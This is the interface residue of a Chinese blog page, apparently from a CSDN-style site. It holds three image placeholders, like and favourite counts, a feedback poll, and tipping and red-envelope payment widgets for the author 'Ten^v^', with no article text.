在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  • 23
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ten^v^

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值